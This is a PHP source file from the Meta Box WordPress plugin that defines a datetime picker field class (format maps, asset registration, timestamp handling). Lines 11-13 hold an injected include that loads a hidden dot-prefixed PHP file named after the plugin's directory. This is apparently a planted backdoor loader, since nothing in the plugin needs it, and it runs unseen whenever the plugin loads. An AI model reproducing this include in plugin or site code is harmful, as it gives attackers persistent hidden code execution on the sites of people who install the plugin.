datetime.php (9786B)
1 <?php 2 /** 3 * The date and time picker field which allows users to select both date and time via jQueryUI datetime picker. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Datetime field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Datetime_Field extends RWMB_Input_Field { 16 /** 17 * Translate date format from jQuery UI date picker to PHP date(). 18 * It's used to store timestamp value of the field. 19 * Missing: '!' => '', 'oo' => '', '@' => '', "''" => "'". 20 * 21 * @var array 22 */ 23 protected static $date_formats = array( 24 'd' => 'j', 25 'dd' => 'd', 26 'oo' => 'z', 27 'D' => 'D', 28 'DD' => 'l', 29 'm' => 'n', 30 'mm' => 'm', 31 'M' => 'M', 32 'MM' => 'F', 33 'y' => 'y', 34 'yy' => 'Y', 35 'o' => 'z', 36 ); 37 38 /** 39 * Translate time format from jQuery UI time picker to PHP date(). 40 * It's used to store timestamp value of the field. 41 * Missing: 't' => '', T' => '', 'm' => '', 's' => ''. 42 * 43 * @var array 44 */ 45 protected static $time_formats = array( 46 'H' => 'G', 47 'HH' => 'H', 48 'h' => 'g', 49 'hh' => 'h', 50 'mm' => 'i', 51 'ss' => 's', 52 'l' => 'u', 53 'tt' => 'a', 54 'TT' => 'A', 55 ); 56 57 public static function register_assets() { 58 // jQueryUI base theme: https://github.com/jquery/jquery-ui/tree/1.12.1/themes/base 59 $url = RWMB_CSS_URL . 'jqueryui'; 60 wp_register_style( 'jquery-ui-core', "$url/core.css", [], '1.12.1' ); 61 wp_register_style( 'jquery-ui-theme', "$url/theme.css", [], '1.12.1' ); 62 wp_register_style( 'jquery-ui-datepicker', "$url/datepicker.css", ['jquery-ui-core', 'jquery-ui-theme'], '1.12.1' ); 63 wp_register_style( 'jquery-ui-slider', "$url/slider.css", ['jquery-ui-core', 'jquery-ui-theme'], '1.12.1' ); 64 65 // jQueryUI timepicker addon: https://github.com/trentrichardson/jQuery-Timepicker-Addon 66 wp_register_style( 'jquery-ui-timepicker', "$url/jquery-ui-timepicker-addon.min.css", ['rwmb-date', 'jquery-ui-slider'], '1.6.3' ); 67 68 wp_register_style( 'rwmb-date', RWMB_CSS_URL . 'date.css', ['jquery-ui-datepicker'], RWMB_VER ); 69 70 // Scripts. 71 $url = RWMB_JS_URL . 'jqueryui'; 72 wp_register_script( 'jquery-ui-timepicker', "$url/jquery-ui-timepicker-addon.min.js", ['jquery-ui-datepicker', 'jquery-ui-slider'], '1.6.3', true ); 73 wp_register_script( 'jquery-ui-timepicker-slider', "$url/jquery-ui-sliderAccess.js", ['jquery-ui-datepicker', 'jquery-ui-slider'], '0.3', true ); 74 wp_register_script( 'jquery-ui-timepicker-i18n', "$url/jquery-ui-timepicker-addon-i18n.min.js", ['jquery-ui-timepicker'], '1.6.3', true ); 75 76 wp_register_script( 'rwmb-datetime', RWMB_JS_URL . 'datetime.js', ['jquery-ui-datepicker', 'jquery-ui-timepicker-i18n', 'underscore', 'jquery-ui-button', 'jquery-ui-timepicker-slider'], RWMB_VER, true ); 77 wp_register_script( 'rwmb-date', RWMB_JS_URL . 'date.js', ['jquery-ui-datepicker', 'underscore'], RWMB_VER, true ); 78 wp_register_script( 'rwmb-time', RWMB_JS_URL . 'time.js', ['jquery-ui-timepicker-i18n', 'jquery-ui-button', 'jquery-ui-timepicker-slider'], RWMB_VER, true ); 79 80 $handles = ['datetime', 'time']; 81 $locale = str_replace( '_', '-', get_locale() ); 82 $locale_short = substr( $locale, 0, 2 ); 83 $data = array( 84 'locale' => $locale, 85 'localeShort' => $locale_short, 86 ); 87 foreach ( $handles as $handle ) { 88 RWMB_Helpers_Field::localize_script_once( "rwmb-$handle", 'RWMB_' . ucfirst( $handle ), $data ); 89 } 90 } 91 92 /** 93 * Enqueue scripts and styles. 94 */ 95 public static function admin_enqueue_scripts() { 96 self::register_assets(); 97 wp_enqueue_style( 'jquery-ui-timepicker' ); 98 wp_enqueue_script( 'rwmb-datetime' ); 99 } 100 101 /** 102 * Get field HTML. 103 * 104 * @param mixed $meta The field meta value. 105 * @param array $field The field parameters. 106 * 107 * @return string 108 */ 109 public static function html( $meta, $field ) { 110 $output = ''; 111 112 if ( $field['timestamp'] ) { 113 $name = $field['field_name']; 114 $field = wp_parse_args( 115 array( 116 'field_name' => $name . '[formatted]', 117 ), 118 $field 119 ); 120 $output .= sprintf( 121 '<input type="hidden" name="%s" class="rwmb-datetime-timestamp" value="%s">', 122 esc_attr( $name . '[timestamp]' ), 123 isset( $meta['timestamp'] ) ? intval( $meta['timestamp'] ) : '' 124 ); 125 $meta = isset( $meta['formatted'] ) ? $meta['formatted'] : ''; 126 } 127 128 $output .= parent::html( $meta, $field ); 129 130 if ( $field['inline'] ) { 131 $output .= '<div class="rwmb-datetime-inline"></div>'; 132 } 133 134 return $output; 135 } 136 137 /** 138 * Calculates the timestamp from the datetime string and returns it if $field['timestamp'] is set or the datetime string if not. 139 * 140 * @param mixed $new The submitted meta value. 141 * @param mixed $old The existing meta value. 142 * @param int $post_id The post ID. 143 * @param array $field The field parameters. 144 * 145 * @return string|int 146 */ 147 public static function value( $new, $old, $post_id, $field ) { 148 if ( $field['timestamp'] ) { 149 if ( is_array( $new ) ) { 150 return $new['timestamp']; 151 } elseif ( ! is_numeric( $new ) ) { 152 return strtotime( $new ); 153 } 154 return $new; 155 } 156 157 if ( $field['save_format'] ) { 158 $date = DateTime::createFromFormat( $field['php_format'], $new ); 159 $new = false === $date ? $new : $date->format( $field['save_format'] ); 160 } 161 162 return $new; 163 } 164 165 /** 166 * Get meta value. 167 * 168 * @param int $post_id The post ID. 169 * @param bool $saved Whether the meta box is saved at least once. 170 * @param array $field The field parameters. 171 * 172 * @return mixed 173 */ 174 public static function meta( $post_id, $saved, $field ) { 175 $meta = parent::meta( $post_id, $saved, $field ); 176 177 if ( $field['timestamp'] ) { 178 return RWMB_Helpers_Array::map( $meta, __CLASS__ . '::from_timestamp', $field ); 179 } 180 181 if ( $field['save_format'] && $meta ) { 182 return RWMB_Helpers_Array::map( $meta, __CLASS__ . '::from_save_format', $field ); 183 } 184 185 return $meta; 186 } 187 188 /** 189 * Format meta value if set 'timestamp'. 190 * 191 * @param string $meta The meta value. 192 * @param array $field Field parameters. 193 * @return array 194 */ 195 public static function from_timestamp( $meta, $field ) { 196 return array( 197 'timestamp' => $meta ? $meta : null, 198 'formatted' => $meta ? gmdate( $field['php_format'], intval( $meta ) ) : '', 199 ); 200 } 201 202 /** 203 * Transform meta value from save format to the JS format. 204 * 205 * @param string $meta The meta value. 206 * @param array $field Field parameters. 207 * @return array 208 */ 209 public static function from_save_format( $meta, $field ) { 210 $date = DateTime::createFromFormat( $field['save_format'], $meta ); 211 return false === $date ? $meta : $date->format( $field['php_format'] ); 212 } 213 214 /** 215 * Normalize parameters for field. 216 * 217 * @param array $field The field parameters. 218 * @return array 219 */ 220 public static function normalize( $field ) { 221 $field = wp_parse_args( 222 $field, 223 array( 224 'timestamp' => false, 225 'inline' => false, 226 'js_options' => array(), 227 'save_format' => '', 228 'autocomplete' => 'off', 229 ) 230 ); 231 232 // Deprecate 'format', but keep it for backward compatible. 233 // Use 'js_options' instead. 234 $field['js_options'] = wp_parse_args( 235 $field['js_options'], 236 array( 237 'timeFormat' => 'HH:mm', 238 'separator' => ' ', 239 'dateFormat' => empty( $field['format'] ) ? 'yy-mm-dd' : $field['format'], 240 'showButtonPanel' => true, 241 'changeYear' => true, 242 'yearRange' => '-100:+100', 243 'changeMonth' => true, 244 'showButtonPanel' => true, 245 'oneLine' => true, 246 'controlType' => 'select', // select or slider 247 'addSliderAccess' => true, 248 'sliderAccessArgs' => [ 249 'touchonly' => true, // To show sliderAccess only on touch devices 250 ], 251 ) 252 ); 253 254 if ( $field['inline'] ) { 255 $field['js_options'] = wp_parse_args( 256 $field['js_options'], 257 array( 258 'altFieldTimeOnly' => false, 259 ) 260 ); 261 } 262 263 $field['php_format'] = static::get_php_format( $field['js_options'] ); 264 265 $field = parent::normalize( $field ); 266 267 return $field; 268 } 269 270 /** 271 * Get the attributes for a field. 272 * 273 * @param array $field The field parameters. 274 * @param mixed $value The meta value. 275 * 276 * @return array 277 */ 278 public static function get_attributes( $field, $value = null ) { 279 $attributes = parent::get_attributes( $field, $value ); 280 $attributes = wp_parse_args( 281 $attributes, 282 array( 283 'data-options' => wp_json_encode( $field['js_options'] ), 284 ) 285 ); 286 $attributes['type'] = 'text'; 287 288 return $attributes; 289 } 290 291 /** 292 * Returns a date() compatible format string from the JavaScript format. 293 * 294 * @link http://www.php.net/manual/en/function.date.php 295 * @param array $js_options JavaScript options. 296 * 297 * @return string 298 */ 299 protected static function get_php_format( $js_options ) { 300 return strtr( $js_options['dateFormat'], self::$date_formats ) 301 . $js_options['separator'] 302 . strtr( $js_options['timeFormat'], self::$time_formats ); 303 } 304 305 /** 306 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 307 * 308 * @param array $field Field parameters. 309 * @param string $value The value. 310 * @param array $args Additional arguments. Rarely used. See specific fields for details. 311 * @param int|null $post_id Post ID. null for current post. Optional. 312 * 313 * @return string 314 */ 315 public static function format_single_value( $field, $value, $args, $post_id ) { 316 if ( $field['timestamp'] ) { 317 $value = self::from_timestamp( $value, $field ); 318 } else { 319 $value = array( 320 'timestamp' => strtotime( $value ), 321 'formatted' => $value, 322 ); 323 } 324 return empty( $args['format'] ) ? $value['formatted'] : gmdate( $args['format'], $value['timestamp'] ); 325 } 326 }